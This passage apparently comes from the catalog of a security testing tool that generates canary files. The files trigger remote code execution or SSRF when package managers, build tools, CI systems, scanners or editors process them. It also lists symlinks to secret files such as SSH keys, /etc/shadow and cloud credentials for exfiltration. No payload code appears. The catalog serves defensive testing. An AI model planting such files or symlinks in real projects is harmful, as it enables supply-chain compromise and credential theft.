- **Tags:** rce, ssrf, ai, package-manager, npm, javascript, combined

npm-dep-url

SSRF via git+http dependency URL

- **Output:** package.json

- **Trigger:** npm install
- **Tags:** ssrf , package-manager , npm , javascript

npm-git-rce

RCE via git binary override in .npmrc

- **Output:** .npmrc
- **Trigger:** npm install (with git dependencies)
- **Tags:** rce , package-manager , npm , javascript , config

npm-lock-url

SSRF via malicious URL in package-lock.json

- **Output:** package-lock.json
- **Trigger:** npm install
- **Tags:** ssrf , package-manager , npm , javascript

npm-npmrc-combined

Combined SSRF + RCE in .npmrc

- **Output:** .npmrc
- **Trigger:** npm install (triggers SSRF via registry, RCE via git override)
- **Tags:** rce , ssrf , package-manager , npm , javascript , config , combined

npm-postinstall

RCE via npm postinstall script

- **Output:** package.json
- **Trigger:** npm install
- **Tags:** rce , package-manager , npm , javascript

npm-preinstall

RCE via npm preinstall script

- **Output:** package.json
- **Trigger:** npm install
- **Tags:** rce , package-manager , npm , javascript

npm-registry

SSRF via custom registry in .npmrc

- **Output:** .npmrc
- **Trigger:** npm install
- **Tags:** ssrf , package-manager , npm , javascript , config

nuclei

nuclei-ssrf

Blind SSRF via Nuclei template update URL

- **Output:** .nuclei-config.yaml
- **Trigger:** nuclei -config .nuclei-config.yaml
- **Tags:** blind-ssrf , dast , nuclei , security-tool

nuclei-template

RCE via Nuclei custom template with code execution

- **Output:** nuclei-templates/canary.yaml
- **Trigger:** nuclei -t nuclei-templates/
- **Tags:** rce , dast , nuclei , security-tool

nuget

nuget-config

SSRF via custom NuGet source

- **Output:** nuget.config
- **Trigger:** dotnet restore

- **Tags:** ssrf , package-manager , nuget , dotnet , csharp
-

nuxt

nuxt-config

RCE via nuxt.config.ts execution

- **Output:** nuxt.config.ts
 - **Trigger:** nuxt dev, nuxt build, or npx nuxi
 - **Tags:** rce , bundler , nuxt , javascript , framework
-

nx

nx-config

RCE via nx.json with malicious executor

- **Output:** nx.json
- **Trigger:** nx run setup or npx nx run setup
- **Tags:** rce , monorepo , nx , javascript

nx-project

RCE via project.json with malicious target

- **Output:** project.json
 - **Trigger:** nx run app:setup or npx nx run app:setup
 - **Tags:** rce , monorepo , nx , javascript
-

objectivec

objectivec-xcode-runscript

RCE via Xcode project Run Script build phase

- **Output:** CanaryApp.xcodeproj/project.pbxproj
- **Trigger:** xcodebuild or opening project in Xcode and building
- **Tags:** rce , xcode , objectivec , ios , macos , build-system

objectivec-xcode-scheme

RCE via Xcode scheme pre/post-action scripts

- **Output:** CanaryApp.xcodeproj/xcsourcedata/xcschemes/CanaryApp.xcscheme
 - **Trigger:** xcodebuild -scheme CanaryApp or using scheme in Xcode
 - **Tags:** rce , xcode , objectivec , ios , macos , build-system
-

opa

opa-bundle

Blind SSRF via OPA bundle server URL

- **Output:** .opa/config.yaml
- **Trigger:** opa run --server --config-file .opa/config.yaml
- **Tags:** blind-ssrf , policy , opa , security-tool

opa-rego

RCE via OPA custom Rego policy with http.send

- **Output:** policies/canary.rego
 - **Trigger:** opa eval -d policies 'data.canary.allow'
 - **Tags:** rce , ssrf , policy , opa , rego , security-tool
-

packer

packer-config

RCE via Packer shell provisioner

- **Output:** packer.pkr.hcl

- **Trigger:** `packer build packer.pkr.hcl`
- **Tags:** `rce` , `iac` , `packer`

packer-json-config

RCE via Packer JSON template

- **Output:** `packer.json`
 - **Trigger:** `packer build packer.json`
 - **Tags:** `rce` , `iac` , `packer`
-

parcel

parcel-config

RCE via .parcelrc custom transformer

- **Output:** `.parcelrc`
- **Trigger:** `parcel build src/index.html`
- **Tags:** `rce` , `build-system` , `javascript` , `nodejs` , `parcel`

parcel-optimizer

RCE via .parcelrc custom optimizer

- **Output:** `.parcelrc-optimizer`
- **Trigger:** `parcel build --config .parcelrc-optimizer`
- **Tags:** `rce` , `build-system` , `javascript` , `nodejs` , `parcel`

parcel-resolver

RCE via .parcelrc custom resolver

- **Output:** `.parcelrc-resolver`
 - **Trigger:** `parcel build --config .parcelrc-resolver`
 - **Tags:** `rce` , `build-system` , `javascript` , `nodejs` , `parcel`
-

pip

pip-combined

Combined RCE setup.py + SSRF requirements.txt

- **Output:** `setup.py`
- **Trigger:** `pip install .` OR `pip install -r requirements.txt`
- **Tags:** `rce` , `ssrf` , `package-manager` , `pip` , `python` , `combined`

pip-pyproject

RCE via build-system in pyproject.toml

- **Output:** `pyproject.toml`
- **Trigger:** `pip install .`
- **Tags:** `rce` , `package-manager` , `pip` , `python`

pip-req-git

SSRF via git+http URL in requirements.txt

- **Output:** `requirements-git.txt`
- **Trigger:** `pip install -r requirements-git.txt`
- **Tags:** `ssrf` , `package-manager` , `pip` , `python`

pip-req-url

SSRF via HTTP URL in requirements.txt

- **Output:** `requirements-url.txt`
- **Trigger:** `pip install -r requirements-url.txt`
- **Tags:** `ssrf` , `package-manager` , `pip` , `python`

pip-setup

RCE via setup.py execution

- **Output:** `setup.py`
- **Trigger:** `pip install .`

- **Tags:** `rce` , `package-manager` , `pip` , `python`
-

pipenv

pipenv-combined

Combined RCE via Pipfile scripts + SSRF via git/URL deps

- **Output:** `Pipfile`
- **Trigger:** `pipenv install` (SSRF via deps), `pipenv run <script>` (RCE via scripts)
- **Tags:** `rce` , `ssrf` , `package-manager` , `pipenv` , `python` , `combined`

pipenv-git-dep

SSRF via git dependency URL in Pipfile

- **Output:** `Pipfile`
- **Trigger:** `pipenv install`
- **Tags:** `ssrf` , `package-manager` , `pipenv` , `python`

pipenv-scripts

RCE via Pipfile [scripts] section

- **Output:** `Pipfile`
- **Trigger:** `pipenv run install|setup|dev|test`
- **Tags:** `rce` , `package-manager` , `pipenv` , `python`

pipenv-url-dep

SSRF via URL dependency in Pipfile

- **Output:** `Pipfile`
 - **Trigger:** `pipenv install`
 - **Tags:** `ssrf` , `package-manager` , `pipenv` , `python`
-

pnpm

pnpm-pnpmfile

RCE via .pnpmfile.cjs hook

- **Output:** `.pnpmfile.cjs`
- **Trigger:** `pnpm install`
- **Tags:** `rce` , `package-manager` , `pnpm` , `javascript`

pnpm-registry

SSRF via custom registry in .npmrc for pnpm

- **Output:** `.npmrc`
- **Trigger:** `pnpm install`
- **Tags:** `ssrf` , `package-manager` , `pnpm` , `javascript` , `config`

pnpm-workspace

SSRF via pnpm-workspace.yaml with remote package

- **Output:** `pnpm-workspace.yaml`
 - **Trigger:** `pnpm install`
 - **Tags:** `ssrf` , `package-manager` , `pnpm` , `javascript`
-

poetry

poetry-build-script

RCE via Poetry build.py script

- **Output:** `pyproject.toml`
- **Trigger:** `poetry build` OR `poetry install`
- **Tags:** `rce` , `package-manager` , `poetry` , `python`

poetry-combined

Combined RCE via build.py + SSRF via git dependencies

- **Output:** pyproject.toml
- **Trigger:** poetry install (SSRF via git dep, RCE via build.py), poetry build (RCE via build.py)
- **Tags:** rce , ssrf , package-manager , poetry , python , combined

poetry-git-dep

SSRF via git dependency URL in pyproject.toml

- **Output:** pyproject.toml
- **Trigger:** poetry install OR poetry lock
- **Tags:** ssrf , package-manager , poetry , python

poetry-source

SSRF via custom package source in pyproject.toml

- **Output:** pyproject.toml
- **Trigger:** poetry install OR poetry lock
- **Tags:** ssrf , package-manager , poetry , python

poetry-url-dep

SSRF via URL dependency in pyproject.toml

- **Output:** pyproject.toml
 - **Trigger:** poetry install OR poetry lock
 - **Tags:** ssrf , package-manager , poetry , python
-

polaris

polaris-combined

Combined RCE + SSRF via Polaris config

- **Output:** .polaris.yaml
- **Trigger:** polaris audit --config .polaris.yaml (triggers RCE + SSRF)
- **Tags:** rce , ssrf , kubernetes , polaris , security-tool , combined

polaris-custom-check

RCE via Polaris custom JSON schema check with external ref

- **Output:** .polaris-rce.yaml
- **Trigger:** polaris audit --config .polaris-rce.yaml
- **Tags:** rce , ssrf , kubernetes , polaris , security-tool

polaris-webhook

Blind SSRF via Polaris webhook configuration

- **Output:** .polaris-ssrf.yaml
 - **Trigger:** polaris audit --config .polaris-ssrf.yaml
 - **Tags:** blind-ssrf , kubernetes , polaris , security-tool
-

precommit

precommit-config

RCE via pre-commit hooks configuration

- **Output:** .pre-commit-config.yaml
 - **Trigger:** pre-commit run
 - **Tags:** rce , git , precommit
-

prettier

prettier-config

RCE via prettier.config.js execution

- **Output:** prettier.config.js
 - **Trigger:** prettier --write . or npx prettier
 - **Tags:** rce , linter , prettier , javascript
-

prisma

prisma-schema

Blind SSRF via Prisma schema datasource URL

- **Output:** prisma/schema.prisma
- **Trigger:** prisma generate, prisma db push, or npx prisma
- **Tags:** blind-ssrf , database , prisma

prisma-seed

RCE via Prisma seed script

- **Output:** prisma/seed.ts
 - **Trigger:** prisma db seed or npx prisma db seed
 - **Tags:** rce , database , prisma , javascript
-

pulumi

pulumi-config

RCE via Pulumi.yaml with malicious runtime

- **Output:** Pulumi.yaml
- **Trigger:** pulumi up or pulumi preview
- **Tags:** rce , iac , pulumi

pulumi-node-config

RCE via Pulumi Node.js program

- **Output:** pulumi-node/Pulumi.yaml
 - **Trigger:** pulumi up -C pulumi-node or pulumi preview -C pulumi-node
 - **Tags:** rce , iac , pulumi , javascript
-

pytest

pytest-conftest

RCE via conftest.py execution

- **Output:** conftest.py
- **Trigger:** pytest or python -m pytest
- **Tags:** rce , testing , pytest , python

pytest-ini

RCE via pytest.ini with conftest

- **Output:** pytest.ini
 - **Trigger:** pytest
 - **Tags:** rce , testing , pytest , python
-

rake

rake-default

RCE via default Rake task

- **Output:** Rakefile
 - **Trigger:** rake
 - **Tags:** rce , build-system , rake , ruby
-

readme

readme-tracking

Blind SSRF via tracking image in README.md

- **Output:** README.md
- **Trigger:** Markdown renderer fetches image
- **Tags:** blind-ssrf , markdown , tracking

renovate

renovate-combined

Combined RCE + SSRF via Renovate config

- **Output:** renovate.json
- **Trigger:** renovate (triggers RCE + SSRF)
- **Tags:** rce , ssrf , sca , renovate , security-tool , combined

renovate-rce

RCE via Renovate postUpgradeTasks command execution

- **Output:** renovate-rce.json
- **Trigger:** renovate --config renovate-rce.json
- **Tags:** rce , sca , renovate , security-tool

renovate-ssrf

SSRF via Renovate custom registry configuration

- **Output:** renovate-ssrf.json
- **Trigger:** renovate --config renovate-ssrf.json
- **Tags:** ssrf , sca , renovate , security-tool

rollup

rollup-config

RCE via rollup.config.js execution

- **Output:** rollup.config.js
- **Trigger:** rollup -c or npx rollup -c
- **Tags:** rce , bundler , rollup , javascript

rubocop

rubocop-require

RCE via require directive in .rubocop.yml

- **Output:** .rubocop.yml
- **Trigger:** rubocop
- **Tags:** rce , linter , rubocop , ruby

ruby

ruby-gemfile

SSRF via git source in Gemfile

- **Output:** Gemfile
- **Trigger:** bundle install
- **Tags:** ssrf , package-manager , ruby , bundler

ruby-gemspec

RCE via gemspec execution

- **Output:** canary.gemspec
- **Trigger:** gem build canary.gemspec
- **Tags:** rce , package-manager , ruby

safety

safety-ssrf

Blind SSRF via Safety custom vulnerability database URL

- **Output:** .safety-policy.yml
- **Trigger:** safety check

- **Tags:** `blind-ssrf`, `security-scanner`, `safety`, `python`, `sca`, `security-tool`
-

scala

scala-ammonite

RCE via Ammonite predef.sc

- **Output:** `.ammonite/predef.sc`
- **Trigger:** `amm` (Ammonite REPL startup)
- **Tags:** `rce`, `scala`, `ammonite`, `repl`, `config`

scala-combined

Combined RCE via build.sbt + project/plugins.sbt

- **Output:** `build.sbt`
- **Trigger:** `sbt compile` (or any sbt command)
- **Tags:** `rce`, `build-system`, `scala`, `sbt`, `jvm`, `combined`

scala-sbt-build

RCE via Scala code execution in build.sbt

- **Output:** `build.sbt`
- **Trigger:** `sbt compile` (or any sbt command)
- **Tags:** `rce`, `build-system`, `scala`, `sbt`, `jvm`

scala-sbt-global

RCE via global sbt settings in .sbt/1.0/global.sbt

- **Output:** `.sbt/1.0/global.sbt`
- **Trigger:** `sbt` (from any project directory)
- **Tags:** `rce`, `build-system`, `scala`, `sbt`, `jvm`, `config`

scala-sbt-plugin

RCE via Scala code in project/plugins.sbt

- **Output:** `project/plugins.sbt`
 - **Trigger:** `sbt` (any command triggers plugin loading)
 - **Tags:** `rce`, `build-system`, `scala`, `sbt`, `jvm`, `plugin`
-

scons

scons-construct

RCE via SConstruct Python execution

- **Output:** `SConstruct`
- **Trigger:** `scons`
- **Tags:** `rce`, `build-system`, `python`, `scons`

scons-script

RCE via SConscript Python execution

- **Output:** `SConstruct-modular`
- **Trigger:** `scons -f SConstruct-modular`
- **Tags:** `rce`, `build-system`, `python`, `scons`

scons-tool-ssrf

SSRF via SCons custom tool repository

- **Output:** `SConstruct-ssrf`
 - **Trigger:** `scons -f SConstruct-ssrf`
 - **Tags:** `ssrf`, `build-system`, `python`, `scons`
-

semantic-release

semantic-release-config

RCE via .releaserc.js execution

- **Output:** `.releaserc.js`
- **Trigger:** `npx semantic-release` or `semantic-release`
- **Tags:** `rce` , `release` , `semantic-release` , `javascript`

`semantic-release-plugin`

RCE via semantic-release custom plugin

- **Output:** `.releaserc.json`
 - **Trigger:** `npx semantic-release` or `semantic-release`
 - **Tags:** `rce` , `release` , `semantic-release` , `javascript`
-

semgrep

`semgrep-combined`

Combined RCE + SSRF via Semicrep custom rules and registry

- **Output:** `.semgrep.yaml`
- **Trigger:** `semgrep scan .` (triggers RCE + SSRF)
- **Tags:** `rce` , `ssrf` , `sast` , `semgrep` , `security-tool` , `combined`

`semgrep-custom-rule`

RCE via custom Semicrep rule

- **Output:** `.semgrep-rce/rules/custom.yaml`
- **Trigger:** `semgrep scan .`
- **Tags:** `rce` , `sast` , `semgrep` , `security-tool`

`semgrep-ssrf`

Blind SSRF via Semicrep rule registry URL

- **Output:** `.semgrep-ssrf.yaml`
 - **Trigger:** `semgrep scan --config .semgrep-ssrf.yaml .`
 - **Tags:** `blind-ssrf` , `sast` , `semgrep` , `security-tool`
-

serverless

`serverless-config`

RCE via serverless.yml plugin

- **Output:** `serverless.yml`
 - **Trigger:** `serverless deploy`, `serverless info`, or `sls`
 - **Tags:** `rce` , `iac` , `serverless` , `javascript`
-

skaffold

`skaffold-config`

RCE via skaffold.yaml custom build

- **Output:** `skaffold.yaml`
- **Trigger:** `skaffold dev`, `skaffold build`, or `skaffold run`
- **Tags:** `rce` , `container` , `skaffold` , `kubernetes`

`skaffold-hooks`

RCE via skaffold.yaml lifecycle hooks

- **Output:** `skaffold-hooks.yaml`
 - **Trigger:** `skaffold dev`, `skaffold build`, or `skaffold run`
 - **Tags:** `rce` , `container` , `skaffold` , `kubernetes`
-

snyk

`snyk-combined`

Combined RCE + SSRF via Snyk config and plugins

- **Output:** `.snyk`

- **Trigger:** snyk test (triggers RCE + SSRF)
- **Tags:** rce , ssrf , sast , sca , snyk , security-tool , combined

snyk-rce

RCE via Snyk CLI plugin

- **Output:** .snyk.d/plugins/canary.js
- **Trigger:** SNYK_POLICY_PATH=.snyk-rce snyk test
- **Tags:** rce , sast , sca , snyk , security-tool

snyk-ssrf

Blind SSRF via Snyk API endpoint configuration

- **Output:** .snyk-ssrf
 - **Trigger:** SNYK_POLICY_PATH=.snyk-ssrf snyk test
 - **Tags:** blind-ssrf , sast , sca , snyk , security-tool
-

sonarqube

sonarqube-combined

Combined RCE + SSRF via SonarQube properties

- **Output:** sonar-project.properties
- **Trigger:** sonar-scanner (triggers RCE + SSRF)
- **Tags:** rce , ssrf , sast , sonarqube , security-tool , combined

sonarqube-rce

RCE via SonarQube external analyzer script

- **Output:** sonar-project-rce.properties
- **Trigger:** sonar-scanner -Dproject.settings=sonar-project-rce.properties
- **Tags:** rce , sast , sonarqube , security-tool

sonarqube-ssrf

Blind SSRF via SonarQube server URL in properties

- **Output:** sonar-project-ssrf.properties
 - **Trigger:** sonar-scanner -Dproject.settings=sonar-project-ssrf.properties
 - **Tags:** blind-ssrf , sast , sonarqube , security-tool
-

spdx

spdx-combined

Combined SSRF via SPDX JSON + tag-value with multiple URL types

- **Output:** sbom.spdx.json
- **Trigger:** SPDX consumer command: gype sbom:sbom.spdx.json; pyspdxtools -i sbom.spdx
- **Tags:** ssrf , sbom , spdx , supply-chain , combined

spdx-download-location

SSRF via SPDX downloadLocation URLs

- **Output:** sbom.spdx.json
- **Trigger:** SPDX consumer command: gype sbom:sbom.spdx.json; importers may resolve downloadLocation URLs
- **Tags:** ssrf , sbom , spdx , supply-chain

spdx-external-doc

SSRF via SPDX externalDocumentRefs URLs

- **Output:** sbom.spdx.json
- **Trigger:** SPDX consumer command: gype sbom:sbom.spdx.json; importers may resolve externalDocumentRefs
- **Tags:** ssrf , sbom , spdx , supply-chain

spdx-external-ref

SSRF via SPDX externalRefs URLs

- **Output:** sbom.spdx.json
- **Trigger:** SPDX consumer command: gype sbom:sbom.spdx.json; scanners may resolve externalRefs URLs

- **Tags:** `ssrf` , `sbom` , `spdx` , `supply-chain`

`spdx-hompage`

SSRF via SPDX homepage and sourceInfo URLs

- **Output:** `sbom.spdx.json`
- **Trigger:** `SPDX consumer command: gype sbom:sbom.spdx.json; importers may resolve homepage/sourceInfo URLs`
- **Tags:** `ssrf` , `sbom` , `spdx` , `supply-chain`

`spdx-tag-value`

SSRF via SPDX tag-value format URLs

- **Output:** `sbom.spdx`
 - **Trigger:** `SPDX consumer command: pyspdxtools -i sbom.spdx; importers may resolve tag-value URLs`
 - **Tags:** `ssrf` , `sbom` , `spdx` , `supply-chain`
-

sphinx

`sphinx-conf`

RCE via docs/conf.py (Python execution)

- **Output:** `docs/conf.py`
 - **Trigger:** `sphinx-build` or `make html`
 - **Tags:** `rce` , `docs` , `sphinx` , `python`
-

storybook

`storybook-main`

RCE via .storybook/main.js execution

- **Output:** `.storybook/main.js`
- **Trigger:** `npm run storybook` or `npx storybook dev`
- **Tags:** `rce` , `docs` , `storybook` , `javascript`

`storybook-preview`

RCE via .storybook/preview.js execution

- **Output:** `.storybook/preview.js`
 - **Trigger:** `npm run storybook` or `npx storybook build`
 - **Tags:** `rce` , `docs` , `storybook` , `javascript`
-

sveltekit

`sveltekit-config`

RCE via svelte.config.js execution

- **Output:** `svelte.config.js`
 - **Trigger:** `npm run dev` , `npm run build` , or `npx svelte-kit`
 - **Tags:** `rce` , `bundler` , `sveltekit` , `javascript` , `framework`
-

swift

`swift-combined`

Combined RCE via Package.swift manifest + build plugin + unsafe flags

- **Output:** `Package.swift`
- **Trigger:** `swift build` , `swift package resolve` , or `swift package update`
- **Tags:** `rce` , `package-manager` , `swift` , `ios` , `macos` , `spm` , `combined`

`swift-package`

RCE via Package.swift compilation and execution

- **Output:** `Package.swift`
- **Trigger:** `swift build` , `swift package resolve` , or `swift package update`
- **Tags:** `rce` , `package-manager` , `swift` , `ios` , `macos` , `spm`

swift-package-plugin

RCE via Swift Package Manager build tool plugin

- **Output:** Package.swift
- **Trigger:** swift build (plugin executes automatically)
- **Tags:** rce , package-manager , swift , ios , macos , spm , plugin

swift-unsafe-flags

Potential RCE via Package.swift unsafe build settings

- **Output:** Package.swift
 - **Trigger:** swift build or swift run
 - **Tags:** rce , package-manager , swift , ios , macos , spm
-

syft

syft-ssrf

Blind SSRF via Syft custom registry configuration

- **Output:** .syft.yaml
 - **Trigger:** syft scan .
 - **Tags:** blind-ssrf , security-scanner , syft , sbom , container-scanner , security-tool
-

symlink

symlink-aws-config

Symlink to AWS config file

- **Output:** symlink_aws_config
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , aws , linux

symlink-aws-creds

Symlink to AWS credentials file

- **Output:** symlink_aws_creds
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , aws , linux

symlink-azure-creds

Symlink to Azure CLI credentials

- **Output:** symlink_azure_creds
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , azure , linux

symlink-bash-history

Symlink to bash command history

- **Output:** symlink_bash_history
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , shell , linux

symlink-cmdline

Symlink to /proc/self/cmdline for command line args

- **Output:** symlink_cmdline
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , linux

symlink-containerd-socket

Symlink to containerd socket

- **Output:** symlink_containerd_socket
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , containerd , linux

symlink-docker-config

Symlink to Docker config (registry auth)

- **Output:** symlink_docker_config
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , docker , linux

symlink-docker-socket

Symlink to Docker socket (container escape)

- **Output:** symlink_docker_socket
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , docker , linux

symlink-envIRON

Symlink to /proc/self/envIRON for env var exfiltration

- **Output:** symlink_envIRON
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , linux

symlink-gcloud-creds

Symlink to GCloud application default credentials

- **Output:** symlink_gcloud_creds
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , gcloud , google , linux

symlink-git-config

Symlink to global Git config

- **Output:** symlink_git_config
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , git , linux

symlink-git-credentials

Symlink to Git credentials store

- **Output:** symlink_git_credentials
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , git , linux

symlink-k8s-ca

Symlink to K8s CA certificate

- **Output:** symlink_k8s_ca
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , kubernetes , linux

symlink-k8s-namespace

Symlink to K8s namespace

- **Output:** symlink_k8s_namespace
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , kubernetes , linux

symlink-k8s-token

Symlink to K8s service account token

- **Output:** symlink_k8s_token
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , kubernetes , linux

symlink-mysql-history

Symlink to MySQL command history

- **Output:** symlink_mysql_history
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , mysql , database , linux

symlink-npmrc

Symlink to global npmrc (registry tokens)

- **Output:** symlink_npmrc
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , npm , linux

symlink-passwd

Symlink to /etc/passwd for user enumeration

- **Output:** symlink_passwd
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , linux

symlink-psql-history

Symlink to PostgreSQL command history

- **Output:** symlink_psql_history
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , postgres , database , linux

symlink-pypirc

Symlink to PyPI config (upload tokens)

- **Output:** symlink_pypirc
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , python , pip , linux

symlink-run-secrets

Symlink to Docker/K8s mounted secrets

- **Output:** symlink_run_secrets
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , docker , kubernetes , linux

symlink-shadow

Symlink to /etc/shadow for password hashes

- **Output:** symlink_shadow
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , linux

symlink-ssh-key

Symlink to SSH private key

- **Output:** symlink_ssh_key
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , ssh , linux

symlink-ssh-key-ed25519

Symlink to SSH ed25519 private key

- **Output:** symlink_ssh_key_ed25519
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , ssh , linux

symlink-ssh-known-hosts

Symlink to SSH known_hosts

- **Output:** symlink_ssh_known_hosts
- **Trigger:** System reads/copies the file
- **Tags:** exfil , symlink , ssh , linux

symlink-vault-token

Symlink to HashiCorp Vault token

- **Output:** symlink_vault_token
 - **Trigger:** System reads/copies the file
 - **Tags:** exfil , symlink , vault , linux
-

taskfile

taskfile-taskfile

RCE via Taskfile.yml task execution

- **Output:** Taskfile.yml
 - **Trigger:** task build
 - **Tags:** rce , build-tool , taskfile
-

tekton

tekton-pipeline

RCE via Tekton pipeline script step

- **Output:** tekton/pipeline.yaml
- **Trigger:** kubectl apply -f tekton/
- **Tags:** rce , ci , kubernetes , tekton

tekton-remote-task

SSRF via Tekton remote task resolution

- **Output:** tekton/remote-pipeline.yaml
- **Trigger:** kubectl apply -f tekton/remote-pipeline.yaml
- **Tags:** ssrf , ci , kubernetes , tekton

tekton-trigger

RCE via Tekton EventListener trigger

- **Output:** tekton/eventlistener.yaml
 - **Trigger:** kubectl apply -f tekton/ && send webhook
 - **Tags:** rce , ci , kubernetes , tekton , webhook
-

terraform

terraform-external

RCE via external data source

- **Output:** main.tf
 - **Trigger:** terraform plan / terraform apply
 - **Tags:** rce , iac , terraform
-

terrascan

terrascan-custom-policy

RCE via Terrascan custom Rego policy with http.send

- **Output:** .terrascan/policies/canary/canary.rego
 - **Trigger:** terrascan scan -c .terrascan-config.toml
 - **Tags:** rce , ssrf , iac-scanner , terrascan , terraform , security-tool , rego
-

tfsec

tfsec-custom-check

RCE via tfsec custom check with Rego http.send

- **Output:** .tfsec/custom_check.rego
 - **Trigger:** tfsec .
 - **Tags:** rce , ssrf , iac-scanner , tfsec , terraform , security-tool , rego
-

tilt

tilt-config

RCE via Tiltfile execution

- **Output:** Tiltfile

- **Trigger:** tilt up or tilt ci
 - **Tags:** rce , container , tilt , kubernetes
-

travis

travis-config

RCE via Travis CI config

- **Output:** .travis.yml
 - **Trigger:** Push / PR to repository
 - **Tags:** rce , cicd , travis
-

trivy

trivy-combined

Combined RCE + SSRF via Trivy config and Rego policy

- **Output:** trivy.yaml
- **Trigger:** trivy fs --config trivy.yaml . (triggers RCE + SSRF)
- **Tags:** rce , ssrf , container-scanner , trivy , security-tool , rego , combined

trivy-rego

RCE via Trivy custom Rego policy with http.send

- **Output:** .trivy/policies/canary.rego
- **Trigger:** trivy fs --config trivy-rego.yaml .
- **Tags:** rce , ssrf , container-scanner , trivy , security-tool , rego

trivy-ssrf

Blind SSRF via Trivy custom database/registry URL

- **Output:** trivy-ssrf.yaml
 - **Trigger:** trivy fs --config trivy-ssrf.yaml .
 - **Tags:** blind-ssrf , container-scanner , trivy , security-tool
-

trufflehog

trufflehog-combined

Combined RCE + SSRF via TruffleHog config

- **Output:** .trufflehog.yaml
- **Trigger:** trufflehog filesystem . (triggers RCE + SSRF)
- **Tags:** rce , ssrf , secret-scanner , trufflehog , security-tool , combined

trufflehog-detector

RCE via TruffleHog custom detector plugin

- **Output:** .trufflehog/detectors/canary.py
- **Trigger:** trufflehog filesystem . --config .trufflehog-rce.yaml
- **Tags:** rce , secret-scanner , trufflehog , security-tool

trufflehog-ssrf

Blind SSRF via TruffleHog webhook/verification URL

- **Output:** .trufflehog-ssrf.yaml
 - **Trigger:** trufflehog filesystem . --config .trufflehog-ssrf.yaml
 - **Tags:** blind-ssrf , secret-scanner , trufflehog , security-tool
-

turborepo

turborepo-config

RCE via turbo.json with malicious task

- **Output:** turbo.json
- **Trigger:** turbo run setup or npm run setup

- **Tags:** rce , monorepo , turborepo , javascript
-

typescript

typescript-combined

Combined RCE via TS compiler plugin + ts-node + transformer

- **Output:** tsconfig.json
- **Trigger:** Opening in VS Code, ts-node, or ttsc/tsc with ts-patch
- **Tags:** rce , typescript , compiler , ide , vscode , combined

typescript-compiler-plugin

RCE via TypeScript compiler/language service plugin

- **Output:** tsconfig.json
- **Trigger:** Opening in VS Code or IDE with TypeScript support (plugin loads on language service init)
- **Tags:** rce , typescript , compiler , ide , vscode

typescript-transformer

RCE via TypeScript custom transformer (ttypescript/ts-patch)

- **Output:** tsconfig.json
- **Trigger:** ttsc or tsc with ts-patch (npx ttypescript)
- **Tags:** rce , typescript , compiler , transformer

typescript-ts-node

RCE via ts-node configuration and require hooks

- **Output:** tsconfig.json
 - **Trigger:** ts-node src/index.ts or npx ts-node src/index.ts
 - **Tags:** rce , typescript , ts-node , runtime
-

vagrant

vagrant-config

RCE via Vagrantfile Ruby execution

- **Output:** Vagrantfile
 - **Trigger:** vagrant up, vagrant status, or any vagrant command
 - **Tags:** rce , iac , vagrant , ruby
-

vite

vite-config

RCE via vite.config.js execution

- **Output:** vite.config.js
 - **Trigger:** vite or npx vite build
 - **Tags:** rce , bundler , vite , javascript
-

vitest

vitest-config

RCE via vitest.config.ts execution

- **Output:** vitest.config.ts
- **Trigger:** npm test or vitest
- **Tags:** rce , testing , vitest , javascript , typescript

vitest-setup

RCE via vitest.setup.ts execution

- **Output:** vitest.setup.ts
 - **Trigger:** npm test or vitest
 - **Tags:** rce , testing , vitest , javascript , typescript
-

vscode

vscode-settings

Various attacks via VS Code settings.json

- **Output:** `.vscode/settings.json`
- **Trigger:** Open project in VS Code
- **Tags:** `rce`, `editor`, `vscode`, `config`

vscode-tasks

RCE via VS Code tasks.json

- **Output:** `.vscode/tasks.json`
 - **Trigger:** Run task in VS Code
 - **Tags:** `rce`, `editor`, `vscode`
-

webpack

webpack-config

RCE via webpack.config.js execution

- **Output:** `webpack.config.js`
 - **Trigger:** `webpack` or `npx webpack`
 - **Tags:** `rce`, `bundler`, `webpack`, `javascript`
-

woodpecker

woodpecker-woodpecker

RCE via .woodpecker.yml

- **Output:** `.woodpecker.yml`
 - **Trigger:** Push to repository with Woodpecker CI enabled
 - **Tags:** `rce`, `ci/cd`, `woodpecker`
-

yarn

yarn-registry

SSRF via custom registry in .yarnrc

- **Output:** `.yarnrc`
 - **Trigger:** `yarn install`
 - **Tags:** `ssrf`, `package-manager`, `yarn`, `javascript`, `config`
-

yarn-audit

yarn-audit-ssrf

Blind SSRF via yarn audit with custom registry

- **Output:** `.yarnrc.yml`
 - **Trigger:** `yarn npm audit`
 - **Tags:** `blind-ssrf`, `security-scanner`, `yarn`, `audit`, `sca`, `security-tool`
-
